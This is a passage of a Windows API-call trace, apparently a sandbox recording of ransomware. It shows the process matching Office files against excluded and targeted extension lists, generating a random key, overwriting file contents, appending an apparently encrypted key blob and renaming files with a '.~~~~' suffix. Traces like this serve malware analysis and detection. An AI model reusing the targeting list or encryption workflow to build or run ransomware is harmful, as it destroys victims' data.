	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.419] lstrlenW (lpString=".fdb") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".fdb") returned 0x0
	[0141.419] lstrlenW (lpString=".bak") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".bak") returned 0x0
	[0141.419] lstrlenW (lpString=".myd") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".myd") returned 0x0
	[0141.419] lstrlenW (lpString=".DTXS") returned 5
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.419] lstrlenW (lpString=".ckp") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".ckp") returned 0x0
	[0141.419] lstrlenW (lpString=".dbt") returned 4
	[0141.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".dbt") returned 0x0
	[0141.420] lstrlenW (lpString=".db") returned 3
	[0141.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".db") returned 0x0
	[0141.420] lstrlenW (lpString=".TXT") returned 4
	[0141.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".TXT") returned 0x0
	[0141.420] lstrlenW (lpString=".MDF") returned 4
	[0141.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".MDF") returned 0x0
	[0141.420] lstrlenW (lpString=".bdb") returned 4
	[0141.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".bdb") returned 0x0
	[0141.420] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.420] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0141.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.421] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.422] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26141186435) returned 1
	[0141.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbdb1eb50, dwHighDateTime=0x1d60e1e)) 
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3878
	[0141.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3878 | out: hHeap=0x300000) returned 1
	[0141.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae968
	[0141.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae968 | out: hHeap=0x300000) returned 1
	[0141.435] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0141.435] GetLastError () returned 0x0
	[0141.436] GetLastError () returned 0x0
	[0141.436] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0141.436] GetLastError () returned 0x0
	[0141.436] GetLastError () returned 0x0
	[0141.436] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x1ee9, lpOverlapped=0x0) returned 1
	[0141.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe117, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.439] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x1ee9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ee9, lpOverlapped=0x0) returned 1
	[0141.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.440] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.440] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.440] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.441] CloseHandle (hObject=0x138) returned 1
	[0141.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae968
	[0141.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif.~~~~")) returned 1
	[0141.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae968 | out: hHeap=0x300000) returned 1
	[0141.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.444] GetLastError () returned 0x0
	[0141.444] RtlWakeConditionVariable () returned 0x0
	[0141.444] GetCurrentThreadId () returned 0xaf0
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".scr") returned 0x0
	[0141.444] lstrlenW (lpString=".cmd") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".cmd") returned 0x0
	[0141.444] lstrlenW (lpString=".dll") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dll") returned 0x0
	[0141.444] lstrlenW (lpString=".bat") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".bat") returned 0x0
	[0141.444] lstrlenW (lpString=".cpl") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".cpl") returned 0x0
	[0141.444] lstrlenW (lpString=".sys") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".sys") returned 0x0
	[0141.444] lstrlenW (lpString=".msc") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".msc") returned 0x0
	[0141.444] lstrlenW (lpString=".com") returned 4
	[0141.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".com") returned 0x0
	[0141.445] lstrlenW (lpString=".lnk") returned 4
	[0141.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".lnk") returned 0x0
	[0141.445] lstrlenW (lpString=".msp") returned 4
	[0141.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".msp") returned 0x0
	[0141.445] lstrlenW (lpString=".pif") returned 4
	[0141.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".pif") returned 0x0
	[0141.445] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0141.447] lstrlenW (lpString=".sqb") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".sqb") returned 0x0
	[0141.447] lstrlenW (lpString=".ost") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".ost") returned 0x0
	[0141.447] lstrlenW (lpString=".txt") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".txt") returned 0x0
	[0141.447] lstrlenW (lpString=".mdt") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".mdt") returned 0x0
	[0141.447] lstrlenW (lpString=".BDB") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".BDB") returned 0x0
	[0141.447] lstrlenW (lpString=".eql") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".eql") returned 0x0
	[0141.447] lstrlenW (lpString=".DBF") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DBF") returned 0x0
	[0141.447] lstrlenW (lpString=".EQL") returned 4
	[0141.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".EQL") returned 0x0
	[0141.448] lstrlenW (lpString=".FDB") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".FDB") returned 0x0
	[0141.448] lstrlenW (lpString=".EDB") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".EDB") returned 0x0
	[0141.448] lstrlenW (lpString=".DACPAC") returned 7
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.448] lstrlenW (lpString=".VHD") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".VHD") returned 0x0
	[0141.448] lstrlenW (lpString=".DBV") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DBV") returned 0x0
	[0141.448] lstrlenW (lpString=".dacpac") returned 7
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.448] lstrlenW (lpString=".sdf") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".sdf") returned 0x0
	[0141.448] lstrlenW (lpString=".accdb") returned 6
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".accdb") returned 0x0
	[0141.448] lstrlenW (lpString=".DBX") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DBX") returned 0x0
	[0141.448] lstrlenW (lpString=".MDT") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".MDT") returned 0x0
	[0141.448] lstrlenW (lpString=".SQB") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".SQB") returned 0x0
	[0141.448] lstrlenW (lpString=".vhd") returned 4
	[0141.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".vhd") returned 0x0
	[0141.448] lstrlenW (lpString=".bac") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".bac") returned 0x0
	[0141.449] lstrlenW (lpString=".mdf") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".mdf") returned 0x0
	[0141.449] lstrlenW (lpString=".BAK") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".BAK") returned 0x0
	[0141.449] lstrlenW (lpString=".BAC") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".BAC") returned 0x0
	[0141.449] lstrlenW (lpString=".dbs") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dbs") returned 0x0
	[0141.449] lstrlenW (lpString=".vhdx") returned 5
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.449] lstrlenW (lpString=".NDF") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".NDF") returned 0x0
	[0141.449] lstrlenW (lpString=".dat") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dat") returned 0x0
	[0141.449] lstrlenW (lpString=".DBS") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DBS") returned 0x0
	[0141.449] lstrlenW (lpString=".CKP") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".CKP") returned 0x0
	[0141.449] lstrlenW (lpString=".edb") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".edb") returned 0x0
	[0141.449] lstrlenW (lpString=".PST") returned 4
	[0141.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".PST") returned 0x0
	[0141.450] lstrlenW (lpString=".dbf") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dbf") returned 0x0
	[0141.450] lstrlenW (lpString=".SQL") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".SQL") returned 0x0
	[0141.450] lstrlenW (lpString=".pst") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".pst") returned 0x0
	[0141.450] lstrlenW (lpString=".dbv") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dbv") returned 0x0
	[0141.450] lstrlenW (lpString=".SDF") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".SDF") returned 0x0
	[0141.450] lstrlenW (lpString=".dtxs") returned 5
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.450] lstrlenW (lpString=".db3") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".db3") returned 0x0
	[0141.450] lstrlenW (lpString=".OST") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".OST") returned 0x0
	[0141.450] lstrlenW (lpString=".dbx") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dbx") returned 0x0
	[0141.450] lstrlenW (lpString=".DB3") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DB3") returned 0x0
	[0141.450] lstrlenW (lpString=".DAT") returned 4
	[0141.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DAT") returned 0x0
	[0141.450] lstrlenW (lpString=".VHDX") returned 5
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.451] lstrlenW (lpString=".ndf") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".ndf") returned 0x0
	[0141.451] lstrlenW (lpString=".DB") returned 3
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DB") returned 0x0
	[0141.451] lstrlenW (lpString=".sql") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".sql") returned 0x0
	[0141.451] lstrlenW (lpString=".MYD") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".MYD") returned 0x0
	[0141.451] lstrlenW (lpString=".DBT") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DBT") returned 0x0
	[0141.451] lstrlenW (lpString=".ACCDB") returned 6
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.451] lstrlenW (lpString=".fdb") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".fdb") returned 0x0
	[0141.451] lstrlenW (lpString=".bak") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".bak") returned 0x0
	[0141.451] lstrlenW (lpString=".myd") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".myd") returned 0x0
	[0141.451] lstrlenW (lpString=".DTXS") returned 5
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.451] lstrlenW (lpString=".ckp") returned 4
	[0141.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".ckp") returned 0x0
	[0141.452] lstrlenW (lpString=".dbt") returned 4
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".dbt") returned 0x0
	[0141.452] lstrlenW (lpString=".db") returned 3
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".db") returned 0x0
	[0141.452] lstrlenW (lpString=".TXT") returned 4
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".TXT") returned 0x0
	[0141.452] lstrlenW (lpString=".MDF") returned 4
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".MDF") returned 0x0
	[0141.452] lstrlenW (lpString=".bdb") returned 4
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".bdb") returned 0x0
	[0141.452] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.452] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0141.851] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.851] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.851] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26184137773) returned 1
	[0141.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbdf491d0, dwHighDateTime=0x1d60e1e)) 
	[0141.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3840
